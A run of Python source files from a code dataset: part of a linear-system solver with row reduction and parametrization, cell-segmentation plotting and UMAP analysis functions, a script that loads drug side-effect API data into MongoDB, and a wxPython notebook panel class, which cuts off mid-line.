rref.extract_direction_vectors_for_parametrization()\n        basepoint = rref.extract_basepoint_for_parametrization()\n\n        return Parametrization(basepoint, direction_vectors)\n        # rref.parameterize()\n        # rref.raise_exception_if_too_few_pivots()\n\n        # num_variables = rref.dimension\n        # solution_coordinates = [rref.planes[i].constant_term for i in range(num_variables)]\n        # return Vector(solution_coordinates)\n\n    def raise_exception_if_contradictory_equation(self):\n        for p in self.planes:\n            try:\n                p.first_nonzero_index(p.normal_vector)\n            except Exception as e:\n                if str(e) == 'No nonzero elements found':\n\n                    constant_term = MyDecimal(p.constant_term)\n                    if not constant_term.is_near_zero():\n                        raise Exception(self.NO_SOLUTIONS_MSG)\n                else:\n                    raise e\n\n    def parameterize(self):\n        pivot_indices = self.indices_of_first_nonzero_terms_in_each_row()\n        num_pivots = sum([1 if index >= 0 else 0 for index in pivot_indices])\n        num_variables = self.dimension\n\n        if num_pivots < num_variables:\n            # found system with infinite solutions: create Parametrization object\n            # free vars become parameters...\n\n            # already done: pivots have coefficient of one\n\n            # solve for pivots\n            for row in range(1, num_pivots):\n                self.clear_coefficients_above(row, pivot_indices[row])  # clear above pivot using function\n\n            # free variables become parameters\n            # copy over free vars\n            # separate out each free var as a direction vector\n            # base point is what is left after separating out direction vectors\n\n    def raise_exception_if_too_few_pivots(self):\n        pivot_indices = self.indices_of_first_nonzero_terms_in_each_row()\n        num_pivots = sum([1 if index >= 0 else 0 for index in pivot_indices])\n        num_variables = self.dimension\n\n        if num_pivots < num_variables:\n            raise Exception(self.INF_SOLUTIONS_MSG)\n\n    def __len__(self):\n        return len(self.planes)\n\n    def __getitem__(self, i):\n        return self.planes[i]\n\n    def __setitem__(self, i, x):\n        try:\n            assert x.dimension == self.dimension\n            self.planes[i] = x\n\n        except AssertionError:\n            raise Exception(self.ALL_PLANES_MUST_BE_IN_SAME_DIM_MSG)\n\n    def __str__(self):\n        ret = 'Linear System:\\n'\n        temp = ['Equation {}: {}'.format(i+1,p) for i,p in enumerate(self.planes)]\n        ret += '\\n'.join(temp)\n        return ret\n\nclass Parametrization(object):\n    BASEPT_AND_DIR_VECTORS_MUST_BE_IN_SAME_DIM_MSG = (\n        'The basepoint and direction vectors should all live in the same dimension')\n\n    def __init__(self, basepoint, direction_vectors):\n        self.basepoint = basepoint\n        self.direction_vectors = direction_vectors\n        self.dimension = self.basepoint.dimension\n\n        try:\n            for v in direction_vectors:\n                assert v.dimension == self.dimension\n\n        except AssertionError:\n            raise Exception(self.BASEPT_AND_DIR_VECTORS_MUST_BE_IN_SAME_DIM_MSG)\n\nclass MyDecimal(Decimal):\n    def is_near_zero(self, eps=1e-10):\n        return abs(self) < eps\n\n# def main():\n#     p1 = Plane(normal_vector=Vector(['0.786', '0.786', '0.588']), constant_term='-0.714')\n#     p2 = Plane(normal_vector=Vector(['-0.131', '-0.131', '0.244']), constant_term='0.319')\n#     s = LinearSystem([p1,p2])\n#     sol = s.compute_solution()\n#     print('System 1 solution:\\n{}'.format(sol)) #format() not working right now for parameterization object\n\n    # p1 = Plane(normal_vector=Vector(['8.631', '5.112']))\n    # no solutions\n    # p1 = Plane(normal_vector=Vector(['5.862', '1.178', '-10.366']), constant_term='-8.15')\n    # p2 = Plane(normal_vector=Vector(['-2.931', '-0.589', '5.183']), constant_term='-4.075')\n    # s = LinearSystem([p1, p2])\n    # result = s.compute_solution()\n    # print (result)\n    #\n    # # infinite solutions\n    # p3 = Plane(normal_vector=Vector(['8.631', '5.112', '-1.816']), constant_term='-5.113')\n    # p4 = Plane(normal_vector=Vector(['4.315', '11.132', '-5.27']), constant_term='-6.775')\n    # p5 = Plane(normal_vector=Vector(['-2.158', '3.01', '-1.727']), constant_term='-0.831')\n    # s2 = LinearSystem([p3, p4, p5])\n    # result = s2.compute_solution()\n    # print(result)\n    #\n    # # unique solution\n    # p6 = Plane(normal_vector=Vector(['5.262', '2.739', '-9.878']), constant_term='-3.441')\n    # p7 = Plane(normal_vector=Vector(['5.111', '6.358', '7.638']), constant_term='-2.152')\n    # p8 = Plane(normal_vector=Vector(['2.016', '-9.924', '-1.367']), constant_term='-9.278')\n    # p9 = Plane(normal_vector=Vector(['2.167', '-13.543', '-18.883']), constant_term='-10.567')\n    # s3 = LinearSystem([p6, p7, p8, p9])\n    # result = s3.compute_solution()\n    # print(result)\n    ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ###\n\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['0', '1', '0']), constant_term='2')\n    # p3 = Plane(normal_vector=Vector(['1', '1', '-1']), constant_term='3')\n    # p4 = Plane(normal_vector=Vector(['1', '0', '-2']), constant_term='2')\n    # s = LinearSystem([p1, p2, p3, p4])\n    # # t = s.compute_triangular_form()\n\n    # s.compute_rref()\n    #########################\n\n    # lesson 3, 2-intersections #21 RREF test code\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['0', '1', '1']), constant_term='2')\n    # s = LinearSystem([p1, p2])\n    # r = s.compute_rref()\n    # if not (r[0] == Plane(normal_vector=Vector(['1', '0', '0']), constant_term='-1') and\n    #         r[1] == p2):\n    #     print ('test case 1 failed')\n    #\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='2')\n    # s = LinearSystem([p1, p2])\n    # r = s.compute_rref()\n    # if not (r[0] == p1 and\n    #         r[1] == Plane(constant_term='1')):\n    #     print ('test case 2 failed')\n    #\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['0', '1', '0']), constant_term='2')\n    # p3 = Plane(normal_vector=Vector(['1', '1', '-1']), constant_term='3')\n    # p4 = Plane(normal_vector=Vector(['1', '0', '-2']), constant_term='2')\n    # s = LinearSystem([p1, p2, p3, p4])\n    # r = s.compute_rref()\n    # if not (r[0] == Plane(normal_vector=Vector(['1', '0', '0']), constant_term='0') and\n    #         r[1] == p2 and\n    #         r[2] == Plane(normal_vector=Vector(['0', '0', '-2']), constant_term='2') and\n    #         r[3] == Plane()):\n    #     print('test case 3 failed')\n    #\n    # p1 = Plane(normal_vector=Vector(['0', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['1', '-1', '1']), constant_term='2')\n    # p3 = Plane(normal_vector=Vector(['1', '2', '-5']), constant_term='3')\n    # s = LinearSystem([p1, p2, p3])\n    # r = s.compute_rref()\n    # if not (r[0] == Plane(normal_vector=Vector(['1', '0', '0']), constant_term=Decimal('23') / Decimal('9')) and\n    #         r[1] == Plane(normal_vector=Vector(['0', '1', '0']), constant_term=Decimal('7') / Decimal('9')) and\n    #         r[2] == Plane(normal_vector=Vector(['0', '0', '1']), constant_term=Decimal('2') / Decimal('9'))):\n    #     print('test case 4 failed')\n\n    #######################\n\n    # print (s.indices_of_first_nonzero_terms_in_each_row())\n    # print ('{},{},{},{}'.format(s[0], s[1], s[2], s[3]))\n    # print (len(s))\n    # print (s)\n\n    # lesson 3, 2. intersections, #20 coding row rref test code\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['0', '1', '1']), constant_term='2')\n    # s = LinearSystem([p1, p2])\n    # t = s.compute_triangular_form()\n    # if not (t[0] == p1 and\n    #         t[1] == p2):\n    #     print\n    #     'test case 1 failed'\n    #\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='2')\n    # s = LinearSystem([p1, p2])\n    # t = s.compute_triangular_form()\n    # if not (t[0] == p1 and\n    #         t[1] == Plane(constant_term='1')):\n    #     print\n    #     'test case 2 failed'\n    #\n    # p1 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['0', '1', '0']), constant_term='2')\n    # p3 = Plane(normal_vector=Vector(['1', '1', '-1']), constant_term='3')\n    # p4 = Plane(normal_vector=Vector(['1', '0', '-2']), constant_term='2')\n    # s = LinearSystem([p1, p2, p3, p4])\n    # t = s.compute_triangular_form()\n    # if not (t[0] == p1 and\n    #         t[1] == p2 and\n    #         t[2] == Plane(normal_vector=Vector(['0', '0', '-2']), constant_term='2') and\n    #         t[3] == Plane()):\n    #     print\n    #     'test case 3 failed'\n    #\n    # p1 = Plane(normal_vector=Vector(['0', '1', '1']), constant_term='1')\n    # p2 = Plane(normal_vector=Vector(['1', '-1', '1']), constant_term='2')\n    # p3 = Plane(normal_vector=Vector(['1', '2', '-5']), constant_term='3')\n    # s = LinearSystem([p1, p2, p3])\n    # t = s.compute_triangular_form()\n    # if not (t[0] == Plane(normal_vector=Vector(['1', '-1', '1']), constant_term='2') and\n    #         t[1] == Plane(normal_vector=Vector(['0', '1', '1']), constant_term='1') and\n    #         t[2] == Plane(normal_vector=Vector(['0', '0', '-9']), constant_term='-2')):\n    #     print\n    #     'test case 4 failed'\n\n    #lesson 3, 2. intersections, #19 coding row operations test code\n    # p0 = Plane(normal_vector=Vector(['1', '1', '1']), constant_term='1')\n    # p1 = Plane(normal_vector=Vector(['0', '1', '0']), constant_term='2')\n    # p2 = Plane(normal_vector=Vector(['1', '1', '-1']), constant_term='3')\n    # p3 = Plane(normal_vector=Vector(['1', '0', '-2']), constant_term='2')\n    #\n    # s = LinearSystem([p0, p1, p2, p3])\n    # s.swap_rows(0, 1)\n    # if not (s[0] == p1 and s[1] == p0 and s[2] == p2 and s[3] == p3):\n    #     print\n    #     'test case 1 failed'\n    #\n    # s.swap_rows(1, 3)\n    # if not (s[0] == p1 and s[1] == p3 and s[2] == p2 and s[3] == p0):\n    #     print\n    #     'test case 2 failed'\n    #\n    # s.swap_rows(3, 1)\n    # if not (s[0] == p1 and s[1] == p0 and s[2] == p2 and s[3] == p3):\n    #     print\n    #     'test case 3 failed'\n    #\n    # s.multiply_coefficient_and_row(1, 0)\n    # if not (s[0] == p1 and s[1] == p0 and s[2] == p2 and s[3] == p3):\n    #     print\n    #     'test case 4 failed'\n    #\n    # s.multiply_coefficient_and_row(-1, 2)\n    # if not (s[0] == p1 and\n    #         s[1] == p0 and\n    #         s[2] == Plane(normal_vector=Vector(['-1', '-1', '1']), constant_term='-3') and\n    #         s[3] == p3):\n    #     print\n    #     'test case 5 failed'\n    #\n    # s.multiply_coefficient_and_row(10, 1)\n    # if not (s[0] == p1 and\n    #         s[1] == Plane(normal_vector=Vector(['10', '10', '10']), constant_term='10') and\n    #         s[2] == Plane(normal_vector=Vector(['-1', '-1', '1']), constant_term='-3') and\n    #         s[3] == p3):\n    #     print\n    #     'test case 6 failed'\n    #\n    # s.add_multiple_times_row_to_row(0, 0, 1)\n    # if not (s[0] == p1 and\n    #         s[1] == Plane(normal_vector=Vector(['10', '10', '10']), constant_term='10') and\n    #         s[2] == Plane(normal_vector=Vector(['-1', '-1', '1']), constant_term='-3') and\n    #         s[3] == p3):\n    #     print\n    #     'test case 7 failed'\n    #\n    # s.add_multiple_times_row_to_row(1, 0, 1)\n    # if not (s[0] == p1 and\n    #         s[1] == Plane(normal_vector=Vector(['10', '11', '10']), constant_term='12') and\n    #         s[2] == Plane(normal_vector=Vector(['-1', '-1', '1']), constant_term='-3') and\n    #         s[3] == p3):\n    #     print\n    #     'test case 8 failed'\n    #\n    # s.add_multiple_times_row_to_row(-1, 1, 0)\n    # if not (s[0] == Plane(normal_vector=Vector(['-10', '-10', '-10']), constant_term='-10') and\n    #         s[1] == Plane(normal_vector=Vector(['10', '11', '10']), constant_term='12') and\n    #         s[2] == Plane(normal_vector=Vector(['-1', '-1', '1']), constant_term='-3') and\n    #         s[3] == p3):\n    #     print\n    #     'test case 9 failed'\n\n    # p0 = Plane(normal_vector=Vector(['1','1','1']), constant_term='1')\n    # # psteve = Plane(normal_vector=Vector(['-9', '7', '2']), constant_term='1')\n    # print(p0)\n    #\n    # p1 = Plane(normal_vector=Vector(['0','1','0']), constant_term='2')\n    # p2 = Plane(normal_vector=Vector(['1','1','-1']), constant_term='3')\n    # p3 = Plane(normal_vector=Vector(['1','0','-2']), constant_term='2')\n    #\n    # s = LinearSystem([p0, p1, p2, p3])\n    #\n    # s.multiply_coefficient_and_row(3, 0)\n    #\n    # print (s.indices_of_first_nonzero_terms_in_each_row())\n    # print ('{},{},{},{}'.format(s[0], s[1], s[2], s[3]))\n    # print (len(s))\n    # print (s)\n    #\n    # s[0] = p1\n    # print s\n    #\n    # print MyDecimal('1e-9').is_near_zero()\n    # print MyDecimal('1e-11').is_near_zero()\n\n    # my code for rref\n'''     # my code:\n        # already in triangular form, make pivot coefficients 1\n        row = 0\n        for i in indices:\n            if i != -1: # -1 index means no pivot var for the corresponding row\n                c = tf[row].normal_vector[i]\n                if c != 1:\n                    # multiply thru by 1/c to make coefficient 1\n                    tf.multiply_coefficient_and_row(1/c, row)\n            row += 1\n\n        # clear upwards so each pivot variable has it's own column.  starts at last equation\n        for row_index in range(len(tf.planes)-1, -1, -1):\n            if indices[row_index] != -1:\n                # equation has pivot, clear upwards\n                current_term = tf[row_index].normal_vector[indices[row_index]]\n                for clear_index in range(row_index - 1, -1, -1):\n                    test_term = tf[clear_index].normal_vector[indices[row_index]]\n                    if test_term != 0:\n                        tf.add_multiple_times_row_to_row(-test_term, row_index, clear_index)\n                        '''\n\n# main()","repo_name":"steveneu/linage-pysln","sub_path":"linsys.py","file_name":"linsys.py","file_ext":"py","file_size_in_byte":21297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74929959441","text":"\"\"\"\r\nFunctions for exploratory plots and UMAP dimensionality reduction\r\nAuthor: Szocs Barna\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport umap\r\nimport numpy as np\r\nfrom collections import OrderedDict\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom cell_segmentation import CellExtendedStatistics\r\n\r\n\r\ndef build_ds_group_by_well_per_channel(cell_dataset: OrderedDict, channel_id, attr1_name, attr2_name):\r\n    \"\"\"\r\n    Organizes the two selected cell attribute data by well (a unique row & column combination identifies a well)\r\n    :param cell_dataset: the dataset produced by cell segmentation\r\n    :param channel_id: the channel to be used when extracting cell intensity attributes, ranges between 1 and 5\r\n    :param attr1_name: one of the field names defined in cell_segmentation.CellExtendedStatistics\r\n    :param attr2_name: one of the field names defined in cell_segmentation.CellExtendedStatistics\r\n    :return: a dictionary where every entry is a well, and every value consists from 3 list:\r\n                - first list contains the values specified by attr1_name\r\n                - second list contains the values specified by attr2_name\r\n                - third list is a list of identifiers for the cells used to generate the above two lists\r\n    \"\"\"\r\n    wells = {}\r\n    for data_frame_id in cell_dataset.keys():\r\n        r, c, f = data_frame_id\r\n        # create unique identifier for the well\r\n        well_name = \"r{:02d}c{:02d}\".format(r, c)\r\n        for cell_id in cell_dataset[data_frame_id][1][channel_id]:\r\n            # locate cell in input dataset\r\n            cell: CellExtendedStatistics = cell_dataset[data_frame_id][1][channel_id][cell_id]\r\n            # export attribute data\r\n            if well_name not in wells.keys():\r\n                # init lists\r\n                cell_id = \"f{:02d}-ch{:02d}-{:03d}\".format(f, channel_id, cell.identifier)\r\n                wells[well_name] = [[getattr(cell, attr1_name)], [getattr(cell, attr2_name)], [cell_id]]\r\n            else:\r\n                # dict entry already initialized\r\n                wells[well_name][0].append(getattr(cell, attr1_name))\r\n                wells[well_name][1].append(getattr(cell, attr2_name))\r\n                wells[well_name][2].append(\"f{:02d}-ch{:02d}-{:03d}\".format(f, channel_id, cell.identifier))\r\n    return wells\r\n\r\n\r\ndef plot_channel_data_by_well(cell_dataset: OrderedDict, attr1_name, attr2_name, channel_id=2, title=\"\", note=\"\", show=True):\r\n    \"\"\"\r\n    Do a simple 2D scatter plot, using the specified attribute values of all cells. Pixel intensity data is taken from the specified channel.\r\n    :param cell_dataset: the dataset produced by cell segmentation\r\n    :param attr1_name: one of the field names defined in cell_segmentation.CellExtendedStatistics\r\n    :param attr2_name: one of the field names defined in cell_segmentation.CellExtendedStatistics\r\n    :param channel_id: the channel to be used when extracting cell intensity attributes, ranges between 1 and 5\r\n    :param title: text to be used as figure title\r\n    :param note: text to be used as figure footnote\r\n    :param show: boolean flag whether to block the thread to display the figure or not\r\n    :return: nothing, but blocks execution if show==True\r\n    \"\"\"\r\n    # create easy to plot dataset\r\n    wells = build_ds_group_by_well_per_channel(cell_dataset, channel_id, attr1_name, attr2_name)\r\n\r\n    # init plotting\r\n    fig = plt.figure(title)\r\n    ax = fig.subplots()\r\n\r\n    # define colors to be used\r\n    colors = plt.colormaps['Set1'].colors\r\n\r\n    # plot cell data from each well\r\n    color_count = 0\r\n    for well_name in wells:\r\n        sc = plt.scatter(wells[well_name][0], wells[well_name][1], label=well_name, color=colors[color_count], linewidths=2, marker=\"o\", s=2)\r\n        color_count += 1\r\n\r\n    # figure meta info\r\n    plt.xlabel(attr1_name)\r\n    plt.ylabel(attr2_name)\r\n    plt.legend()\r\n    plt.title(title)\r\n    plt.figtext(0.99, 0.01, note, horizontalalignment='right')\r\n    if show:\r\n        plt.show()\r\n\r\n\r\ndef exploratory_plots(cell_dataset: OrderedDict):\r\n    \"\"\"\r\n    Create some exploratory plots using the result of cell segmentation\r\n    :param cell_dataset: the dataset produced by cell segmentation\r\n    :return: nothing, blocks execution by plots\r\n    \"\"\"\r\n    # plot cell area vs cell perimeter grouped by well\r\n    plot_channel_data_by_well(cell_dataset=cell_dataset, attr1_name=\"cell_area\", attr2_name=\"perimeter\", title=\"Cell area vs cell perimeter\",\r\n                              note=\"lower cluster is probably incorrect detections on the image margins\", show=False)\r\n\r\n    # plot cell major axis vs cell minor axis\r\n    plot_channel_data_by_well(cell_dataset=cell_dataset, attr1_name=\"major_axis\", attr2_name=\"minor_axis\", title=\"Cell major axis vs cell minor axis\",\r\n                              note=\"confirms the validity of major vs minor axis selection -> no minor axis is bigger then a major\", show=False)\r\n\r\n    # plot nucleus area vs nucleus var intensity\r\n    plot_channel_data_by_well(cell_dataset=cell_dataset, attr1_name=\"nucleus_area\", attr2_name=\"nucleus_mean_intensity\", channel_id=4,\r\n                              title=\"Nucleus area vs nucleus var intensity from channel {:02d}\".format(4), note=\"Nothing conclusive\", show=False)\r\n\r\n    # nucleus 10th percentile intensity vs nucleus 90th percentile intensity\r\n    plot_channel_data_by_well(cell_dataset=cell_dataset, attr1_name=\"nucleus_10th_percentile_intensity\", attr2_name=\"nucleus_90th_percentile_intensity\",\r\n                              channel_id=5, title=\"Nucleus area vs nucleus 90th percentile intensity from channel {:02d}\".format(5),\r\n                              note=\"Nothing conclusive\", show=False)\r\n    plt.show()\r\n\r\n\r\ndef build_merged_ds_from_all_channels_for_umap(cell_dataset: OrderedDict) -> (list, list):\r\n    \"\"\"\r\n    Build a table-like dataset, list of lists, where every row represents one cell, and every column holds attributes values belonging to the same cell. Cell\r\n    identifier data (well, field, id) are returned as a separate list, while respecting the same data order.\r\n    :param cell_dataset: the dataset produced by cell segmentation\r\n    :return: two lists:\r\n        - first list is a list of list with shape of [number_of_cells x number_of_cell_attributes]\r\n        - second list is list of string based identifiers (origin descriptors) for the cells used to generate the above list\r\n    \"\"\"\r\n    # initialize return values\r\n    data = []\r\n    labels = []\r\n\r\n    # iterate over every detected cell\r\n    for data_frame_id in cell_dataset.keys():\r\n        r, c, f = data_frame_id\r\n        well_name = \"r{:02d}c{:02d}\".format(r, c)\r\n        for cell_id in cell_dataset[data_frame_id][0]:\r\n            # locate cell\r\n            cell_basic = cell_dataset[data_frame_id][0][cell_id]\r\n            # copy basic attributes\r\n            cell_data = [cell_basic.cell_area, cell_basic.nucleus_area, cell_basic.major_axis, cell_basic.minor_axis, cell_basic.perimeter]\r\n            # copy intensity attributes based on every channel\r\n            for channel_id in range(1, 6):\r\n                cell: CellExtendedStatistics = cell_dataset[data_frame_id][1][channel_id][cell_id]\r\n                cell_data.extend([cell.cell_var_intensity, cell.cell_mean_intensity, cell.cell_10th_percentile_intensity, cell.cell_90th_percentile_intensity,\r\n                                  cell.nucleus_var_intensity, cell.nucleus_mean_intensity, cell.nucleus_10th_percentile_intensity,\r\n                                  cell.nucleus_90th_percentile_intensity,\r\n                                  cell.cytoplasm_var_intensity, cell.cytoplasm_mean_intensity, cell.cytoplasm_10th_percentile_intensity,\r\n                                  cell.cytoplasm_90th_percentile_intensity])\r\n\r\n            # save for return\r\n            data.append(cell_data)\r\n            labels.append(well_name)\r\n    return data, labels\r\n\r\n\r\ndef generate_umap_cell_attributes_2D_global(data: list, labels: list):\r\n    \"\"\"\r\n    Utilizes UMAP (https://umap-learn.readthedocs.io) data dimension reduction functionality to obtain a 2D feature set for the input data. The input data is\r\n    expected to hold column-wise attributes and row-wise samples. The values are normalized using z-scores, while the input data is not modified.\r\n    :param data: list of lists, where ery row is a sample and every column is an attribute\r\n    :param labels: list of sample identifier strings\r\n    :return: nothing, blocks execution for plotting\r\n    \"\"\"\r\n    # verify input shape\r\n    if len(data) != len(labels):\r\n        return None\r\n\r\n    # initialize umap process\r\n    reducer = umap.UMAP()\r\n\r\n    # normalize input data\r\n    scaled_data = StandardScaler().fit_transform(data)\r\n\r\n    # perform dimensionality reduction\r\n    reduced_data = reducer.fit_transform(scaled_data)\r\n\r\n    # plot the resulting feature set\r\n    label_color_map = {}\r\n    label_counter = 0\r\n    unique_labels = list(set(labels))\r\n    for label in unique_labels:\r\n        label_color_map[label] = label_counter\r\n        label_counter += 1\r\n    label_index = [label_color_map[i] for i in labels]\r\n    plt.figure(\"Dimension Reduction with UMAP using (basic+intensity) cell attributes from all channels\")\r\n    sc = plt.scatter(reduced_data[:, 0], reduced_data[:, 1], c=label_index, cmap=plt.colormaps['Set1'])\r\n\r\n    # figure meta data\r\n    plt.title(\"Dimension Reduction with UMAP using (basic+intensity) cell attributes from all channels\")\r\n    plt.xlabel(\"Component 1\")\r\n    plt.ylabel(\"Component 2\")\r\n    plt.legend(handles=sc.legend_elements()[0], labels=unique_labels)\r\n\r\n    plt.show()\r\n\r\n\r\ndef generate_umap_cell_attributes_3D_global(data: list, labels: list):\r\n    \"\"\"\r\n    Utilizes UMAP (https://umap-learn.readthedocs.io) data dimension reduction functionality to obtain a 3D feature set for the input data. The input data is\r\n    expected to hold column-wise attributes and row-wise samples. The values are normalized using z-scores, while the input data is not modified.\r\n    :param data: list of lists, where ery row is a sample and every column is an attribute\r\n    :param labels: list of sample identifier strings\r\n    :return: nothing, blocks execution for plotting\r\n    \"\"\"\r\n    # verify input shape\r\n    if len(data) != len(labels):\r\n        return None\r\n\r\n    # initialize umap process\r\n    reducer = umap.UMAP(n_components=3)\r\n\r\n    # normalize input data\r\n    scaled_data = StandardScaler().fit_transform(data)\r\n\r\n    # perform dimensionality reduction\r\n    reduced_data = reducer.fit_transform(scaled_data)\r\n\r\n    # plot the resulting feature set\r\n    label_color_map = {}\r\n    label_counter = 0\r\n    uniq_labels = list(set(labels))\r\n    for label in uniq_labels:\r\n        label_color_map[label] = label_counter\r\n        label_counter += 1\r\n    label_index = np.asarray([label_color_map[i] for i in labels])\r\n    fig = plt.figure(\"3D UMAP data for each well and data from all channels\")\r\n    ax = fig.add_subplot(projection='3d')\r\n    sc = ax.scatter(reduced_data[:, 0], reduced_data[:, 1], reduced_data[:, 2], c=label_index, cmap=plt.colormaps['Set1'])\r\n\r\n    # figure meta data\r\n    ax.set_xlabel(\"Component 1\")\r\n    ax.set_ylabel(\"Component 2\")\r\n    ax.set_zlabel(\"Component 3\")\r\n    plt.title(\"Dimension Reduction (component=3) with UMAP using cell (basic+intensity) attributes from every channel\")\r\n    plt.legend(handles=sc.legend_elements()[0], labels=uniq_labels)\r\n\r\n    plt.show()\r\n","repo_name":"szocsbarni/jump-cell-painting-analysis","sub_path":"data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":11453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6577064024","text":"import requests\nfrom pymongo import MongoClient\nimport xmltodict\nimport json\n\n\nclient = MongoClient('localhost', 27017)  # mongoDB는 27017 포트로 돌아갑니다.\ndb = client.easyDur\n\n\n\ndef insert_adr(json: dict):\n    db.adrList.drop()  #기존 db 삭제\n    items = json['response']['body']['items']['item']    # [{}, {}, {}, ...]\n\n    for item in items:\n        name = item['COL_001']\n        adr = item['COL_005']\n\n        doc = {\n                'name': name,\n                'adr': adr\n               }\n\n        db.adrList.insert_one(doc)\n        print('완료', name)\n\n\n\n# 부작용 API json으로 변환\n#url_adr\nreq_adr = requests.get(url_adr)\nxpars_adr = xmltodict.parse(req_adr.text)\njsonDump_adr = json.dumps(xpars_adr)\njsonBody_adr = json.loads(jsonDump_adr)\n# print(type(jsonBody_adr))\n\n\n\n# 실행\ninsert_adr(jsonBody_adr)\n\n\n","repo_name":"jeongya25/easy-dur","sub_path":"init_db_adr.py","file_name":"init_db_adr.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71438413522","text":"import wx\nimport wx.aui\nimport wx.html2\nfrom pubsub import pub\n\n# this package\nfrom GuiV2.GSMatch2_Core import Experiment, Project\nfrom GuiV2.GSMatch2_Core.GUI.events import (\n\tEVT_REMOVE_PROJECT, EVT_SWITCH_COMPOUNDS_CONTENT_REQ, EVT_SWITCH_EXPR_CONTENT_REQ, EVT_SWITCH_PROJ_CONTENT_REQ,\n\tEVT_SWITCH_PROJ_REQ,\n\t)\nfrom GuiV2.GSMatch2_Core.GUI.welcome_page import render_welcome_page\n\n#\n# use_cefpython = False\n#\n# if \"gtk2\" in wx.version():\n# \tuse_cefpython = False\n#\n# if use_cefpython:\n# \tfrom GuiV2.GSMatch2_Core.GUI.CefBrowser import init_cefpython, BrowserPanel\n#\n# \tcef = init_cefpython\n\n\nclass Notebook(wx.aui.AuiNotebook):\n\tdef __init__(\n\t\t\tself, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n\t\t\tstyle=wx.aui.AUI_NB_TOP | wx.aui.AUI_NB_TAB_SPLIT | wx.aui.AUI_NB_TAB_MOVE |\n\t\t\t\t  wx.aui.AUI_NB_SCROLL_BUTTONS | wx.aui.AUI_NB_CLOSE_ON_ACTIVE_TAB | wx.aui.AUI_NB_MIDDLE_CLICK_CLOSE\n\t\t\t):\n\t\tself.parent = parent\n\t\tself.id = id\n\t\twx.aui.AuiNotebook.__init__(self, parent, id, pos, size, style)\n\t\t\n\t\tself.Bind(wx.aui.EVT_AUINOTEBOOK_PAGE_CLOSE, self.on_close_tab)\n\t\t# self.Bind(wx.aui.EVT_AUINOTEBOOK_PAGE_CLOSED, self.on_close_tab)\n\t\tself.Bind(wx.aui.EVT_AUINOTEBOOK_PAGE_CHANGED, self.on_nb_sel_changed)\n\t\t\n\t\tEVT_SWITCH_PROJ_REQ.set_receiver(self)\n\t\tEVT_SWITCH_PROJ_REQ.Bind(self.on_request_switch_project)\n\t\n\t\tEVT_SWITCH_PROJ_CONTENT_REQ.set_receiver(self)\n\t\tEVT_SWITCH_PROJ_CONTENT_REQ.Bind(self.on_request_switch_content)\n\t\t\n\t\tEVT_SWITCH_EXPR_CONTENT_REQ.set_receiver(self)\n\t\tEVT_SWITCH_EXPR_CONTENT_REQ.Bind(self.on_request_switch_experiment)\n\t\t\n\t\tEVT_SWITCH_COMPOUNDS_CONTENT_REQ.set_receiver(self)\n\t\tEVT_SWITCH_COMPOUNDS_CONTENT_REQ.Bind(self.on_request_switch_compounds)\n\n\t\t# Welcome Page\n\t\t# if use_cefpython:\n\t\t# \tpage = BrowserPanel(f\"file://{render_welcome_page()}\", self, style=wx.WANTS_CHARS)\n\t\t# \twx.CallLater(100, page.embed_browser)\n\t\t# else:\n\t\tpage = wx.html2.WebView.New(self, wx.ID_ANY, size=(400, 300))\n\t\tpage.LoadURL(f\"file://{render_welcome_page()}\")\n\t\t\n\t\tself.AddPage(page, \"Welcome\")\n\t\t\n\t\twx.CallAfter(self.SendSizeEvent)\n\t\n\tdef on_request_switch_project(self, event):\n\t\tself.switch_to_project(event.GetValue())\n\t\t\n\tdef on_request_switch_content(self, event):\n\t\tself.switch_to_project_content(*event.GetValue())\n\t\t\n\tdef on_request_switch_experiment(self, event):\n\t\tself.switch_to_experiment_content(*event.GetValue())\n\t\t\n\tdef on_request_switch_compounds(self, event):\n\t\tself.switch_to_compounds_content(*event.GetValue())\n\t\n\tdef add_project(self, project):\n\t\t# TODO?: Check if project already in notebook\n\t\tpage = Project.ProjectDataPanel(self, project)\n\t\t# self.notebook.AddPage(page, \"Eley Contact Propellant\")\n\t\tself.AddPage(page, project.name)\n\t\tself.select_last_page()\n\t\treturn page\n\t\n\tdef on_close_tab(self, event):\n\t\t# Close button on tab clicked or tab middle clicked\n\t\tevent.Veto()\n\t\tclosed_tab_idx = event.GetOldSelection()\n\t\tproject_panel = self.GetPage(closed_tab_idx)\n\t\tself.remove_project(project_panel, closed_tab_idx)\n\t\n\tdef remove_project(self, project_panel=None, closed_tab_idx=None):\n\t\tif not project_panel:\n\t\t\tclosed_tab_idx = self.GetSelection()\n\t\t\tproject_panel = self.GetPage(closed_tab_idx)\n\t\t\n\t\tproject_name = project_panel.name\n\t\t\n\t\tif project_name != \"Welcome\":\n\t\t\t\n\t\t\tif project_panel.save_changes():\n\t\t\t\tself.DeletePage(closed_tab_idx)\n\t\t\t\tEVT_REMOVE_PROJECT.value = project_name\n\t\t\t\tEVT_REMOVE_PROJECT.trigger()\n\t\t\t\tdel 